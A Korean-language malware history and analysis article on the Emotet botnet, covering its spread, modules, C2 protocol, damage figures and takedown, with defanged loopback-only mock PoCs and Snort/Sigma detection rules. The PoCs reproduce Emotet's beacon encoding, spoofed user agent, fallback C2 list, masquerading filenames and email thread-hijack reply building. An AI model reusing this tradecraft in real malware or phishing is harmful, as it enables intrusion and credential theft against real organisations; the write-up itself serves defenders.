💥 Emotet — '세계에서 가장 위험한 악성코드'가 랜섬웨어의 1차 침투 플랫폼이 되기까지 (2014–2021)

1. 배경/역사 — 언제, 누가, 왜 유명한가

2014년 독일·오스트리아·스위스의 은행 고객을 노리는 평범한 뱅킹 트로이로 처음 관측된 Emotet(초기 별칭 Geodo·Heodo)은, 7년 뒤 유럽연합 법집행기관이 "세계에서 가장 위험한 악성코드(the world's most dangerous malware)"라고 공식 명명한 봇넷이 되었다. 이름의 유래는 은행 계좌를 뜻하는 스페인어·포르투갈어 emotet 계열 표현으로 알려져 있고, 코드는 Delphi로 작성됐다.

핵심은 Emotet이 스스로 돈을 훔치는 악성코드에서 다른 범죄자에게 인프라를 빌려주는 '1차 침투 플랫폼(MaaS)'으로 진화했다는 점이다. Europol은 이를 두고 "전 세계 컴퓨터 시스템의 1차 문 열쇠(primary door opener)"라고 표현했다. Emotet이 뚫은 기기에 후속으로 설치된 것은 TrickBot·QakBot·IcedID·Bumblebee 같은 로더였고, 그 다음 단계가 Ryuk·Conti 계열 랜섬웨어였다. 즉 "Emotet 감염 = 랜섬웨어 전 단계"라는 등식이 성립했다.

운영 주체는 위협 인텔리전스에서 TA542(별칭 Mummy Spider, Gold Crestwood)로 추적된다. 이 그룹은 Epoch(에포크)라 부르는 대규모 버전 단위로 C2 목록·모듈 세트·난독화 기법을 통째로 갈아치웠고, 이 "통째로 갈아치우기"가 7년간 추적을 어렵게 만든 핵심이었다.

2. 감염·전파 경로 — '취약점'이 아니라 '사람'을 뚫는다

Emotet은 제로데이를 쓰지 않았다. 공격 표면은 이메일 한 통과 사용자의 클릭 한 번이었다. 전형적인 체인은 "피싱 메일 → 매크로 문서 → 2차 다운로더 → Emotet 로더 → 모듈 수신 → 내부 확산"이다.

• ① 매크로 문서 첨부: Word(.doc/.docx)·Excel(.xls/.xlsm) 문서를 붙이고 "문서가 손상되었습니다. 콘텐츠 사용을 눌러 복구하세요" 같은 문구로 매크로 실행을 유도한다. CISA는 Emotet이 감염된 Word 문서(.doc)를 초기 삽입 벡터로 사용한 사례를 확인했다 (T1566.001).
• ② 이메일 스레드 하이재킹(Emotet의 트레이드마크): 감염된 기기에서 앞서 훔친 실제 메일 대화를 꺼내, 그 대화의 답장처럼 위장한 메일을 새 피해자에게 보낸다. 제목은 RE: (원래 제목), 수신자는 기존 참여자, 본문은 인용문과 원래 서명까지 복제된다. 낯선 발신자가 아니라 "아는 사람의 회신"으로 보이기 때문에 열람·실행률이 압도적으로 높다. Europol은 "Emotet 그룹은 이메일을 공격 벡터의 다음 단계로 끌어올렸다"고 평했다.
• ③ 링크형 감염: 첨부 대신 클라우드 저장소·PDF·HTML 링크로 다운로더를 받게 하는 방식 (T1566.002). 첨부 필터를 우회하기 위한 변형이다.
• ④ 내부 확산(Wi-Fi 포함): CISA는 Emotet의 "웜 같은(worm-like) 특성"을 지적했다. 로컬 계정 암호를 무차별 대입(T1110.001)해 SMB Admin$ 공유(T1021.002)로 옆 PC에 스스로 복제한다. 2020년 2월에는 Wi-Fi 스프레더 모듈이 추가되어, 인접 무선 AP의 약한 암호를 뚫고 새 기기를 감염시키는 기능까지 갖췄다.
• ⑤ 전달 형식의 진화: 마이크로소프트가 2022년부터 인터넷에서 받은 Office 문서의 매크로를 기본 차단하자, Emotet은 ZIP+LNK, ISO, XLL, OneNote 등으로 이동했다. 특히 2022~2023년에는 "첨부 파일을 Office Templates(신뢰 위치) 폴더로 옮긴 뒤 실행하라"는 사회공학 트릭을 사용해 Mark-of-the-Web(인터넷 표식)과 매크로 기본 차단을 동시에 우회했다.

시기	주된 전달 매체	우회 대상
2014~2017	매크로 포함 Word/Excel 첨부	사용자 경계심
2018~2022 상반기	매크로 문서 + 스레드 하이재킹, 링크형	메일 게이트웨이 첨부 필터
2022 하반기~2023	ZIP 안의 LNK, ISO, XLL, OneNote / "Templates 폴더로 옮겨 실행" 유도	매크로 기본 차단 · Mark-of-the-Web

3. 동작 원리 상세 분석 — 코드/구조 레벨

3.1 모듈러 구조: "로더는 최소, 기능은 전부 C2에서"

Emotet의 본체는 그 자체로 완성된 악성코드가 아니라 모듈 로더다. 최초 실행 파일은 시스템 정보를 수집해 체크인하고, C2가 내려주는 DLL 모듈을 메모리에 올려 기능을 확장한다. 덕분에 같은 감염 기기가 스팸 발송기, 자격증명 탈취기, 전파기로 동시에 쓰일 수 있었다.

모듈(기능)	역할	관련 ATT&CK
systeminfo	호스트·사용자·OS·AV·도메인 정보 수집 후 체크인	T1082, T1012
email stealer / spam	메일 클라이언트 사서함·주소록·대화 탈취 → 스팸 발송 소재 및 스레드 하이재킹	T1114.001, T1087.003
credential grabber	LSASS 메모리 덤프(Mimikatz 계열), 저장된 브라우저·메일 비밀번호 탈취	T1003.001, T1555.003
spreader	로컬 계정 무차별 대입 → SMB Admin$ 공유로 유사 전파(웜적 확산)	T1110.001, T1021.002
Wi-Fi spreader	인접 무선 AP 비밀번호를 뚫어 새 기기 감염(2020-02 추가)	T1110, T1040
DDoS / (2023) 카드 탈취	트래픽 공격 위탁, 크롬에 저장된 신용카드 정보 탈취	T1498, T1555.003

3.2 실행 체인 8단계 (공개 분석에서 관찰된 흐름)

1. 스피어피싱 메일 → 매크로 포함 .xlsm/.doc 첨부 (T1566.001)
2. 사용자가 "콘텐츠 사용" 클릭 → AutoOpen 매크로 실행 (난독화된 매크로, T1027)
3. 매크로가 WMI(T1047)·PowerShell(T1059)로 실행을 위임 → 다운로더 스크립트 수행
4. 드로퍼를 %TEMP% 등에 저장. 파일명은 svchost.exe·rundll32.exe처럼 system32 에 존재하는 정상 파일명을 골라 위장한다 (T1036.005)
5. 지속성 은닉: Binary Defense가 2020년 관찰한 기법 — 저장 파일명을 XOR 키로 암호화해 레지스트리 값에 넣고, 값 이름은 볼륨 시리얼 번호로 설정한다. 단순 Run 키 검사로는 드러나지 않는다
6. HKCU\Software\Microsoft\Windows\CurrentVersion\Run 등록 → 재부팅 후 자동 실행 (T1547.001)
7. C2 체크인 — 아래 3.3의 HTTP POST 프로토콜
8. C2에서 모듈 DLL 수신 → 자격증명 탈취·스팸·확산 기능 활성화

3.3 C2 프로토콜 — "정상 웹 트래픽처럼 보이는" 설계

• 전송: HTTP POST. URI는 무작위 길이의 알파벳 디렉터리(예: POST /verlxnpdrbby/)로, 경로 문자열만 봐서는 의미가 없다 (T1071.001).
• User-Agent 위장: 구형 Internet Explorer 문자열 (Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0 ...))을 사용했다고 CISA가 기록했다. 2026년 기준으로 이 UA는 그 자체가 강한 이상 신호다.
• 포트 다양화: 80/443뿐 아니라 20, 22, 7080, 50000 같은 비표준 포트도 사용 (T1571).
• 본문 난독화: 수집 데이터를 압축(T1560) → XOR → Base64 순으로 감싸 전송하고, C2 통신에는 RSA(T1573.002)가 사용된 것으로 알려져 있다.
• 식별자 전달: 봇 ID(영숫자 9자 내외)가 PHPSESSID= 형태로 쿠키에 실린다. CISA는 시스템 정보가 HTTP GET 요청의 쿠키에 담겨 유출(T1041)되는 패턴을 확인했다.
• 가용성 설계: C2 주소는 코드에 하드코딩된 목록으로 관리돼, 응답이 없으면 다음 주소로 폴백한다. 도메인 생성 알고리즘(DGA)을 쓰지 않아 목록 자체를 알면 통째로 차단·압수할 수 있었다 — 2021년 작전이 성공한 기술적 이유다.

3.4 무엇을 훔치는가 — 2차 공격의 연료

Emotet은 스스로 랜섬웨어가 되지 않는다. 대신 다음 단계가 쓸 모든 것을 수집한다: LSASS 메모리에서의 계정 자격증명과 Mimikatz 계열 모듈(T1003.001), 브라우저에 저장된 비밀번호·신용카드(T1555.003), 메일 주소록과 대화 본문(스팸 소재 + 스레드 하이재킹 재료), 네트워크 구성과 접속 자격증명. 그 결과 한 대의 감염이 한 조직 전체의 자격증명 유출로 이어졌다.

3.5 은밀성·회피

• 커스텀 패커로 페이로드 보호(T1027.002), 매크로 내 URL·명령 인자 난독화(T1027)
• 네트워크 API 후킹으로 통신 감시(T1040), 프로세스 인젝션으로 정상 프로세스에 기생
• 32비트 → 64비트 전환(2023)으로 탐지 로직 우회, 킬스위치 패치 후 재감염 방지
• 에포크 단위 대규모 업데이트로 시그니처 기반 탐지를 반복 무력화

4. 피해 규모/영향 — 숫자와 실제 사례

• 700대+ C2 서버 압수: 2021-01-27 "Operation Ladybird" — 네덜란드·독일·미국·영국·프랑스· 리투아니아·캐나다·우크라이나 8개국 공조. 영국 NCA는 인프라 매핑에 약 2년이 걸렸다고 밝혔다.
• 하르키우 압수수색·체포 2명: 우크라이나 사이버경찰이 인프라 유지·운영에 관여한 2명을 체포(유죄 시 최대 12년).
• 자금 흐름(영국 NCA): 범죄 조직 계정 분석 결과 가상자산 플랫폼 한 곳에서만 2년간 1,050만 달러가 이동했고, 인프라 유지비로 약 50만 달러를 지출했다.
• 피해 규모: 우크라이나 당국 추산 전 세계 피해 약 25억 달러(THN 인용). 금전 피해뿐 아니라 Emotet이 깔아준 발판 위에서 랜섬웨어 2차 피해가 발생했다.
• 유출된 자격증명 60만 건: 네덜란드 경찰은 압수 데이터에서 확인된 60만 개의 이메일 주소·사용자명· 비밀번호 데이터셋을 공개하고 감염 확인 도구를 배포했다.
• CISA EINSTEIN 탐지: 2020년 7월 이후 미 연방·민간 네트워크에서 Emotet 관련 경보 약 16,000건. 같은 해 CISA·MS-ISAC는 주·지방 정부를 겨냥한 Emotet 피싱 급증을 경고했다 (경보 AA20-280A, 2020-10-24 개정).
• 2021-04-25 12:00 "대량 제거": 압수한 C2 인프라를 통해 감염 기기에 EmotetLoader.dll 제거 페이로드를 밀어 넣어 전 세계 감염 기기를 일괄 격리·삭제했다. "악성코드의 C2를 방어자가 장악해 백신으로 역이용한" 드문 사례다.
• 182일 킬스위치(2020): 연구자(Binary Defense)가 Emotet 자체의 취약점을 찾아 2020-02-06 ~ 08-06 동안 확산을 차단했다. 악성코드도 소프트웨어이므로 버그가 있다는 사실을 보여준 사례.
• 부활과 재확산: 2021-11 부활 → 2022-11 Proofpoint는 "하루 수십만 통" 규모의 스팸이 다시 흐르고 있다고 보고했고, 표적국은 미국·영국·일본·독일·이탈리아·프랑스·스페인·멕시코·브라질이었다. 테이크다운은 종말이 아니라 휴지기였다.

5. PoC — 교육용 모의 재현 (로컬 가상 환경 전용)

PoC 1 — 문서 매크로 → 다운로더 → 지속성 체인 (실행 로그 재현)

각 단계가 어떤 흔적을 남기는지가 핵심이다. 실제 실행 없이 단계·탐지 지점을 출력한다.

# emotet_poc_macro.py (발췌) — 실제 실행/다운로드/레지스트리 변경 없음, 로그만 재현
def log(step, detail, detection):
    STEPS.append({"단계": step, "동작(모의)": detail, "방어자 탐지 지점": detection})

log("① 스피어피싱 메일", "업무 문의를 가장한 회신 + 매크로 포함 .xlsm 첨부",
    "메일 게이트웨이: 매크로 문서/스캔 불가 압축 첨부 차단 (CISA 권고)")
log("② 문서 열람 + 매크로", "사용자가 '콘텐츠 사용' 클릭 → AutoOpen 실행",
    "GPO/Office 정책: 인터넷 문서 매크로 기본 차단, 신뢰 위치 감사")
log("③ 2차 실행 위임", "WMI → powershell -w hidden 다운로더 (T1047/T1059)",
    "WMI·PowerShell 스크립트 블록 로깅/AMSI, 부모-자식 프로세스 관계")
fname = random.choice(["svchost.exe", "conhost.exe", "dllhost.exe", "rundll32.exe"])
path  = "C:\\Users\\labuser\\AppData\\Local\\Temp\\" + fname      # 정상 파일명 위장
log("④ 드로퍼 기록", path + " 로 저장 (T1036.005)",
    "EDR: Temp 에서 실행되는 '시스템 프로세스명' = 강한 의심")
enc = "".join("%02x" % (b ^ key) for b in path.encode())
log("⑤ 지속성 은닉", "파일명 XOR(key=0x%02X) → 레지스트리 값(키=볼륨시리얼)에 저장" % key,
    "레지스트리 모니터링: 볼륨 시리얼 이름 값 + XOR 난독 흔적")
log("⑥ 자동 실행 등록", "HKCU\\...\\Run 등록 (T1547.001)", "Run 키 신규 값 알림 (Sysmon EID 13)")
log("⑦ C2 체크인", "POST http://127.0.0.1:8080/<무작위 8자>/ (구형 IE UA)",
    "무작위 경로 POST + 비표준 포트 + MSIE 7.0 UA 조합")
log("⑧ 모듈 수신", "C2에서 DLL 모듈 내려받아 기능 확장",
    "LSASS 접근, 브라우저 자격증명 저장소 열람, SMB Admin$ 접속")

실행 결과(실제 출력):

[01] ① 스피어피싱 메일   | 업무 문의를 가장한 회신 + 매크로 포함 .xlsm 첨부
     └ 탐지 지점: 메일 게이트웨이: 매크로 포함 문서/스캔 불가 압축 첨부 차단
[02] ② 문서 열람 + 매크로 | 사용자가 '콘텐츠 사용' 클릭 → AutoOpen 실행
[03] ③ 2차 실행 위임     | WMI → powershell -w hidden 로 다운로더 스크립트 실행
[04] ④ 드로퍼 기록       | ...\Temp\rundll32.exe 로 저장 (T1036.005)
[05] ⑤ 지속성 은닉       | XOR(key=0x8F) 암호화 → 레지스트리 값(키=볼륨시리얼 A1B2-C3D4)
[06] ⑥ 자동 실행 등록    | HKCU\Software\Microsoft\Windows\CurrentVersion\Run
[07] ⑦ C2 체크인        | POST http://127.0.0.1:8080/<무작위 8자>/ (구형 IE UA 위장)
[08] ⑧ 모듈 수신·확장    | DLL 모듈(systeminfo/spreader/email stealer) 수신
[*] 단계 기록 8개 → /tmp/emotet_poc_registry.json (레지스트리 실제 변경 0건)

PoC 2 — C2 체크인 프로토콜 (루프백 서버로 형식만 재현)

Emotet이 쓰는 (압축 → XOR → Base64) 본문 + 무작위 URI + 위장 UA + 쿠키 봇 ID + C2 폴백 구조를 그대로 흉내 낸다. 서버는 같은 프로세스 안의 loopback 서버이며, 받은 본문을 복호화해 검증한다.

# emotet_poc_c2.py (발췌) — 모든 트래픽은 127.0.0.1, 외부 통신 0건
LAB_C2 = [("127.0.0.1", 8080), ("127.0.0.1", 8081)]   # 하드코딩 C2 목록(폴백)
UA = ("Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; "
      "Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729)")

def encode_body(plain, key=None):                 # 압축 → XOR → base64
    key = key or random.randint(1, 255)
    return base64.b64encode(bytes([key]) + bytes(b ^ key for b in zlib.compress(plain))).decode(), key

uri = "http://%s:%d/%s/" % (c2[0], c2[1], rand_dir())   # 무작위 알파벳 디렉터리
req = urllib.request.Request(uri, data=body.encode(), method="POST")
req.add_header("User-Agent", UA)                  # 구형 IE 위장
req.add_header("Cookie", "PHPSESSID=%s" % bot_id) # 봇 식별자 = 쿠키

실행 결과(실제 출력, 루프백):

[*] 봇 ID: y059ezgui (base36 유사 — 쿠키로 전달됨)
[*] C2 후보 목록(하드코딩): [('127.0.0.1', 8080), ('127.0.0.1', 8081)]
  [C2] POST /verlxnpdrbby/
  [C2] UA      : Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Tr ...
  [C2] Cookie  : PHPSESSID=y059ezgui
  [C2] 본문 복호화 → {"host": "LAB-VM-01", "user": "labuser", "os": "Windows 10 x64 19045",
                     "av": "Windows Defender", "domain": "lab.local",
                     "modules": ["systeminfo", "spreader", "emailstealer"]}
  [bot] 체크인 성공 → http://127.0.0.1:8080/verlxnpdrbby/ (HTTP 200)
  [bot] 수신 모듈: {"module":"systeminfo","ver":2}
[*] 폴백 데모: 죽은 C2 → 다음 후보로 이동
  [bot] ('127.0.0.1', 9999) 실패 (URLError) → 다음 C2 시도
  [more] POST /jjazmyr/ ... 체크인 성공 (HTTP 200)
[*] 종료 — 외부 통신 0건, 모든 트래픽은 127.0.0.1

방어자 관점 해석: 위 4줄의 조합(무작위 영문 경로 + POST + MSIE 7.0 UA + 비표준 포트)은 정상 업무 트래픽에서 나올 이유가 없다. 시그니처를 몰라도 행위 조합만으로 탐지 가능한 지점이다.

PoC 3 — 이메일 스레드 하이재킹 구조 재현 (발송 기능 없음)

탈취한 사서함에서 무엇을 읽어 어떻게 "자연스러운 답장"을 만드는지를 로컬 mock 데이터로 재현한다. 전송 함수는 의도적으로 미구현(NotImplementedError)이며 결과는 초안 파일로만 저장된다.

# emotet_poc_thread.py (발췌) — SMTP 코드 자체가 없음, 초안 JSON만 생성
def pick_thread(mb):                    # 자주 오간 상대 가중치 + 대화 길이 = '진행 중' 스레드
    counts = Counter(m["from"] for t in mb["threads"] for m in t["mails"])
    return max(mb["threads"], key=lambda t: sum(counts.get(p,0) for p in t["parties"])*10 + len(t["mails"]))

def build_reply(mb, t):
    last = t["mails"][-1]["body"]
    return {"to": [p for p in t["parties"] if p != "labuser@lab.local"],
            "subject": "RE: " + t["subject"],                 # 제목 재사용
            "attachment": "정산자료_2026.xlsm",               # 랩 전용 더미 이름
            "body": "안녕하세요, 요청하신 자료 정리해서 첨부드립니다.\n\n> " + last.replace("\n","\n> ")
                    + "\n\n" + extract_signature(mb, "labuser@lab.local")}   # 원본 서명 복제

def send(_draft):
    raise NotImplementedError("교육용 모의 코드: 전송 기능은 구현하지 않습니다")

실행 결과(실제 출력):

[*] 탈취한 사서함에서 선택된 스레드: 송장 확인 요청 | 참여자: ['billing@lab.local', 'labuser@lab.local', 'kim@lab.local']
{
  "to": ["billing@lab.local", "kim@lab.local"],
  "subject": "RE: 송장 확인 요청",
  "attachment": "정산자료_2026.xlsm",
  "body": "안녕하세요, 요청하신 자료 정리해서 첨부드립니다. 확인 부탁드립니다.\n\n> ... 랩테크 재무팀\n\n랩테크 재무팀\n02-000-0000"
}
[*] 리스크 포인트: 제목/수신자/인용문/서명이 '실제 대화'에서 복제되어 있어
    사용자는 낯선 발신자가 아니라 '아는 사람의 답장'으로 인식하게 된다.

PoC 4 — 탐지 룰 아이디어 (CISA 권고 시그니처 계열)

# (1) 네트워크: 무작위 경로 POST + 위장 UA 조합 — 개념적 Snort/Suricata 룰
alert http $HOME_NET any -> $EXTERNAL_NET any (
  msg:"LAB Emotet-style checkin (random path POST + legacy IE UA)";
  flow:established,to_server; http_method;
  content:"POST"; http_method;
  pcre:"/^\/[a-z]{6,13}\/$/U";            # 무작위 알파벳 디렉터리
  content:"Mozilla/4.0 (compatible; MSIE 7.0"; http_user_agent;
  content:"PHPSESSID="; http_cookie;
  sid:9000001; rev:1;)

# (2) 엔드포인트: Temp 에서 실행되는 시스템 프로세스명 + Run 키 신규 값 (Sigma 스타일)
title: Suspicious System32-named binary executing from user Temp
logsource: { category: process_creation, product: windows }
detection:
  image: { Image|endswith: ['\AppData\Local\Temp\svchost.exe', '\AppData\Local\Temp\rundll32.exe'] }
  parent: { ParentImage|endswith: ['\winword.exe', '\excel.exe', '\wscript.exe'] }
  condition: image and parent
level: high

6. 방어 방법/교훈 — 어떻게 막았고, 무엇을 배우나

• 매크로 정책이 가장 큰 지렛대였다: "인터넷에서 받은 Office 문서의 매크로 기본 차단"이 시행되자 Emotet은 LNK·ISO·OneNote로 갈아타야 했다. GPO로 신뢰 위치를 잠그고, Office Templates 등 신뢰 폴더에 외부 문서를 옮겨 실행하는 패턴 자체를 탐지 대상으로 감시한다.
• 메일 계층 통제(CISA·MS-ISAC 권고): .dll·.exe 등 악성코드 연관 확장자 차단, 백신이 검사할 수 없는 압축 파일 차단, DMARC 검증, 메일 게이트웨이 필터, 의심 IP 방화벽 차단. 첨부·링크는 샌드박스에서 먼저 연다.
• 스레드 하이재킹 대응은 '절차'로 막는다: 기존 대화에 끼어든 첨부·계좌 변경 요청은 아웃오브밴드(전화 등 별도 채널)로 확인하는 규칙을 정한다. 기술 통제보다 조직 절차가 효과적이다.
• 자격증명 위생: LSASS 보호(LSA Protection/RunAsPPL), 로컬 관리자 암호 자동 순환(LAPS), SMB Admin$ 공유 제한·최소 권한, 관리자 계정 MFA — Emotet의 내부 확산(Wi-Fi·SMB)은 약한 로컬 암호가 있어야 성립한다.
• 엔드포인트 행위 탐지(Sysmon/EDR): Run 키 신규 값(EID 13), 볼륨 시리얼 이름의 레지스트리 값, Temp에서 실행되는 시스템 프로세스명, WMI→PowerShell 자식 프로세스, LSASS 핸들 접근을 상관 분석한다.
• 네트워크: 비표준 포트(20/22/7080/50000) 아웃바운드 제한, 무작위 경로 POST 탐지, 구형 User-Agent 차단, 프록시 기반 이그레스 통제.
• 침해 후 대응: Emotet은 자격증명이 이미 유출된 상태를 의미한다. 악성코드 제거에서 끝내지 말고 전체 계정 비밀번호 회전, 세션 무효화, 메일 규칙(전달 규칙) 점검까지 수행한다.
• 산업적 교훈: ① MaaS·생태계 단위 대응 — Emotet 하나를 지워도 TrickBot·IcedID·Bumblebee가 남는다. ② 국제 공조(Operation Ladybird)는 700대 서버 압수와 일괄 제거까지 성공했지만 10개월 뒤 부활했다 — 테이크다운은 종료가 아니라 시간 벌기다. ③ 방어자도 악성코드의 버그 (182일 킬스위치)를 무기로 쓸 수 있다. ④ "악성코드가 훔친 자격증명은 곧 다음 침해의 열쇠"라는 사실이 Emotet의 7년 수명을 설명한다.

출처

• CISA / MS-ISAC — Cybersecurity Advisory AA20-280A: Emotet Malware (2020-10-24 개정) — https://www.cisa.gov/news-events/cybersecurity-advisories/aa20-280a
• Europol — "World's most dangerous malware EMOTET disrupted through global action" (2021-01-27, Operation Ladybird) — europol.europa.eu — Emotet disrupted
• Eurojust — 동일 공동 보도자료 (사법공조 관점) — eurojust.europa.eu — Emotet
• The Hacker News — "European Authorities Disrupt Emotet — World's Most Dangerous Malware" (2021-01-28: 700대 서버, 하르키우 체포 2명, NCA 자금 분석, 25억 달러 추산, 60만 계정 데이터셋, 2021-04-25 일괄 제거) — thehackernews.com/2021/01/european-authorities-disrupt-emotet
• The Hacker News — "Researchers Exploited A Bug in Emotet to Stop the Spread of Malware" (2020-08-17: 182일 킬스위치, 파일명 XOR+볼륨시리얼 지속성, Wi-Fi 스프레더) — thehackernews.com/2020/08/emotet-botnet-malware
• The Hacker News — "Notorious Emotet Malware Returns With High-Volume Malspam Campaign" (2022-11-21: 하루 수십만 통, 표적 9개국, 스레드 하이재킹, Templates 폴더 트릭) — thehackernews.com/2022/11/notorious-emotet-malware-returns-with
• The Hacker News — "Emotet Malware Makes a Comeback with New Evasion Techniques" (2023-01-24: SMB 스프레더·크롬 카드 탈취 모듈, 64비트 전환) — thehackernews.com/2023/01/emotet-malware-makes-comeback-with-new
• MITRE ATT&CK — Emotet (Software S0367): 모듈러 구조·TTP 매핑 — attack.mitre.org/software/S0367
• Malpedia (Fraunhofer FKIE) — Emotet (win.emotet) 샘플 패밀리 개요 — malpedia.caad.fkie.fraunhofer.de/details/win.emotet
• Malwarebytes — Emotet 위협 개요 자료실 — malwarebytes.com/emotet
• Palo Alto Networks Unit 42 — Emotet 리서치 허브 — unit42.paloaltonetworks.com/emotet
• Wikipedia — Emotet (연표·명칭·귀속 참고) — en.wikipedia.org/wiki/Emotet

※ 본문의 PoC 코드는 구조 이해 목적의 교육용 모의 코드이며, 실제 Emotet 샘플·페이로드는 포함하지 않습니다. 모든 실습은 인터넷과 분리된 격리 랩 VM을 전제로 합니다.

함께 읽기: 🏦 Bangladesh Bank SWIFT Heist (2016) — 자격증명 탈취로 은행 결제망을 조작한 APT38 · ☠️ NotPetya (2017) — 공급망에서 시작된 파괴형 와이퍼 · 🦅 SolarWinds SUNBURST (2020) — 신뢰받는 서명을 무기로 · 🪱 Conficker (2008) — 자가 방어형 웜과 국제 공조 대응